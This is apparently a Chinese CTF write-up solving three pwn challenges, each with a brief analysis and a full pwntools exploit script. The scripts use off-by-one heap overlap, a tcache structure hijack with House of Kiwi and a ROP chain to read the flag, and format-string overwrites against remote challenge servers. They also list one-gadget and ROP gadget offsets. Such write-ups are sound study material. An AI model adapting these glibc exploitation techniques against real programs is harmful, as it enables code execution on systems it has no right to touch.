和 n03 的师傅们一起参加了本次的比赛,👴 又被带飞了,题目都挺有意思的,可以学到东西。存一份 pwn 的 wp 在这里。想和我交流师傅们可以在下方留言。

image-20220523123713969

Pwn

山重水复

分析

image-20220521145801788

漏洞点在 edit 函数,是个很好用的 off by one。

构造堆块重叠后爆破 1/16 分之一的概率去打 stdout leak libc,然后打 exit hook 为 one gadget 就可以了。

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
#!/usr/bin/env python2
# -*- coding: utf-8 -*
import re
import os
from pwn import *
from LibcSearcher import *

se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
lg = lambda name,data : p.success(name + ': \033[1;36m 0x%x \033[0m' % data)

def debug(breakpoint=''):
glibc_dir = '~/Exps/Glibc/glibc-2.27/'
gdbscript = 'directory %smalloc/\n' % glibc_dir
gdbscript += 'directory %sstdio-common/\n' % glibc_dir
gdbscript += 'directory %sstdlib/\n' % glibc_dir
gdbscript += 'directory %slibio/\n' % glibc_dir
elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p, gdbscript)
time.sleep(1)

elf = ELF('./pwn')
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-hp','62'])
# p = process('./pwn')
# debug()

p = remote('node4.buuoj.cn',28018)
def menu(choice):
sla('Your choice:',str(choice))
sleep(0.03)

def add(id,size):
menu(1)
sla('Idx:',str(id))
sla('Size:',str(size))

def edit(id,data):
menu(2)
sla('Idx:',str(id))
sea('context:',str(data))

# def edit2(id,data):
# menu(2)
# sla('Idx:',str(id))
# sla('context: \n',str(data))

def dele(id):
menu(3)
sla('Idx:',str(id))

add(0,0x38)
add(1,0x38)
add(2,0x38)
add(3,0x38)
add(4,0x418)
add(5,0x38)

edit(0,'u'*0x38+'\xc1')
dele(1)
add(1,0xb8)

dele(5)
dele(3)
edit(1,'u'*0x38+p64(0x41 + 0x40 + 0x420)+'\n')
dele(2)
add(2,0x18) # c1
add(3,0x18) # c2
add(7,2)
edit(7,'\xa0\x26'+'\n')
add(8,0x38) # c2
# pause()
add(9,0x38) # c2
edit(9,p64(0xfbad1800)+p64(0)*3+'\x00\n')

libc_leak = uu64(ru('\x7f',drop=False)[-6:])
libc_base = libc_leak - 0x1eb980
lg('libc_leak',libc_leak)
lg('libc_base',libc_base)
#libc = ELF('./libc.so.6')
# libc = elf.libc
libc=ELF('./libc.so.6')
# libc.address = libc_base

og='''
0xe6c7e execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL

0xe6c81 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL

0xe6c84 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL

0xe6e73 execve("/bin/sh", r10, r12)
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL
[r12] == NULL || r12 == NULL

0xe6e76 execve("/bin/sh", r10, rdx)
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL
[rdx] == NULL || rdx == NULL
'''


magic1 = 0x222f68
magic2 = 0x222f68 + 8
ones = [libc_base + int(i,16) for i in re.findall(r'\n(.+?) execve',og)]

dele(3)
dele(2)
edit(1,'u'*0x38+p64(0x21)+p64(libc_base+magic1)+'\n')
sleep(0.1)
add(2,0x18)
sleep(0.1)
add(3,0x18)
sleep(0.1)
edit(3,p64(ones[0])+'\n')
sleep(0.1)
menu(4)

p.interactive()

twists and turns

分析

image-20220521150305228

我们简单地利用堆块残留指针 leak 相关地址后复原堆布局。

dele 函数的 idx 可以取负,申请一个大堆块后可以构造任意地址 free,这里选择的是劫持 Tcache Struct。然后就是 House of Kiwi 绕沙箱拿 flag。

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
#!/usr/bin/env python2
# -*- coding: utf-8 -*
import re
import os
from pwn import *
from LibcSearcher import *

se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
lg = lambda name,data : p.success(name + ': \033[1;36m 0x%x \033[0m' % data)

def debug(breakpoint=''):
glibc_dir = '~/Exps/Glibc/glibc-2.27/'
gdbscript = 'directory %smalloc/\n' % glibc_dir
gdbscript += 'directory %sstdio-common/\n' % glibc_dir
gdbscript += 'directory %sstdlib/\n' % glibc_dir
gdbscript += 'directory %slibio/\n' % glibc_dir
elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p, gdbscript)
time.sleep(1)

elf = ELF('./2')
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-hp','62'])
# p = process('./2')
# debug(0x172E)
# debug()
p = remote('node4.buuoj.cn',27566)
def menu(choice):
sla('Your choice:',str(choice))

def add(size,data='u'):
menu(1)
sla('Size:',str(size))
sea('Content:',str(data))

def dele(id):
menu(2)
sla('Idx:',str(id))

def show(id):
menu(3)
sla('Idx:',str(id))

'''
[*]---------Leak---------[*]
'''
add(0x1000) # 0
add(0x1000) # 1
dele(0)
add(0x1500) # 0
add(0x500) # 2
show(2)
ru('Content:')
libc_leak = uu64(rc(6))
libc_base = libc_leak - 0x1ec275
lg('libc_leak',libc_leak)
lg('libc_base',libc_base)
#libc = ELF('./libc.so.6')
libc = elf.libc
# libc.address = libc_base
ret = libc_base + 0x0000000000025679
rdi = libc_base + 0x0000000000026b72
rsi = libc_base + 0x0000000000027529
rax = libc_base + 0x000000000004a550
rdx_r12 = libc_base + 0x000000000011c371
syscall_ret = libc_base + 0x0000000000066229
_IO_helper = libc_base + 0x1ec8a0
sync = libc_base + 0x1ed500
dele(2)
dele(0)
add(0x1500) # 0
add(0x500,'u'*0x10) # 2
show(2)
ru('u'*0x10)
heap_leak = uu64(rc(6))
heap_base = heap_leak - 0x290
lg('heap_leak',heap_leak)
lg('heap_base',heap_base)
dele(2)
dele(0)
dele(1)
payload = p64(heap_base+0x10)
'''
[*]---------Exploit---------[*]
'''
add(0x30000,payload) # 0
dele((-0x31000+0x10)/8)

add(0x300,'./flag\0'.ljust(0x60,'\0')+p64(ret)) # 0
payload = flat([
rax,2,rdi,heap_base+0x290+0x10,rsi,0,syscall_ret,rdi,3,rdx_r12,0x100,0,rsi,heap_base+0x290+0x20,libc_base+libc.sym['read'],rdi,1,libc_base+libc.sym['write']
])
add(0x300,payload) # 1

add(0x288,p16(0)*0x10+p16(1)*0x30+p64(0)*0x10+p64(heap_base+0x10)*0x10+p64(_IO_helper+0xA0)+p64(sync)+p64(heap_base+0x8b0)) # 2
add(0x218,p64(heap_base+0x5a0+0x10)+p64(ret)) # 3
add(0x228,p64(libc_base+libc.sym.setcontext + 61)) # 4
add(0x238,p64(0x20)*2) # 5
try:
add(0x238) # 6
except:
print(p.recv())
p.interactive()

'''
0x0000000000026b72 : pop rdi ; ret
0x000000000011c371 : pop rdx ; pop r12 ; ret
0x0000000000162866 : pop rdx ; pop rbx ; ret
0x00000000001056fd : pop rdx ; pop rcx ; pop rbx ; ret
0x00000000000276e7 : pop rsi ; pop r15 ; pop rbp ; ret
0x0000000000026b70 : pop rsi ; pop r15 ; ret
0x0000000000027529 : pop rsi ; ret
0x00000000000276e3 : pop rsp ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
0x0000000000026b6c : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000002959b : pop rsp ; pop r13 ; pop r14 ; ret
0x00000000000f2315 : pop rsp ; pop r13 ; pop r15 ; ret
0x00000000000491f5 : pop rsp ; pop r13 ; pop rbp ; ret
0x000000000002911c : pop rsp ; pop r13 ; ret
0x00000000000913b1 : pop rsp ; pop r14 ; ret
0x000000000013000e : pop rsp ; pop rbp ; ret
0x0000000000032b5a : pop rsp ; ret
0x000000000009c1a0 : pop rsp ; ret 0xffff
0x0000000000025679 : ret
'''

gift

分析

image-20220521150016397

题目提前读入了 flag 但是限制了我们直接调用 %s 来获取内容。

首先在 name 填满 8 个字符可以顺带把堆地址偷出来。

然后利用格式化字符串把 $p -> $s ,同时部分覆写返回地址为 printf(s) 再次调用格式化字符串漏洞即可打印出 flag。

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/env python2
# -*- coding: utf-8 -*
import re
import os
from pwn import *
from LibcSearcher import *

se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
lg = lambda name,data : p.success(name + ': \033[1;36m 0x%x \033[0m' % data)

def debug(breakpoint=''):
glibc_dir = '~/Exps/Glibc/glibc-2.27/'
gdbscript = 'directory %smalloc/\n' % glibc_dir
gdbscript += 'directory %sstdio-common/\n' % glibc_dir
gdbscript += 'directory %sstdlib/\n' % glibc_dir
gdbscript += 'directory %slibio/\n' % glibc_dir
elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p, gdbscript)
time.sleep(1)

elf = ELF('./pwn')
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-hp','62'])
# p = process('./pwn')
# debug(0x14E6)
p = remote('node4.buuoj.cn',26567)
sea("What's your name?",'s'*8)
ru('s'*8)
target = uu64(rc(6))
lg('target',target)
sea('Do you want it?','Yes\n')
ru('Here is your gift:')
stack_leak = int(ru('\n'),16)
lg('stack_leak',stack_leak)
payload = 'uuu%22$p%98c%23$hhn%100c%24$hhn'.ljust(0x50,'u') + p64(target) + p64(stack_leak+0x20+7) + p64(stack_leak-0x18)
sea('Now,to find your flag in the gift!\n',payload)

p.interactive()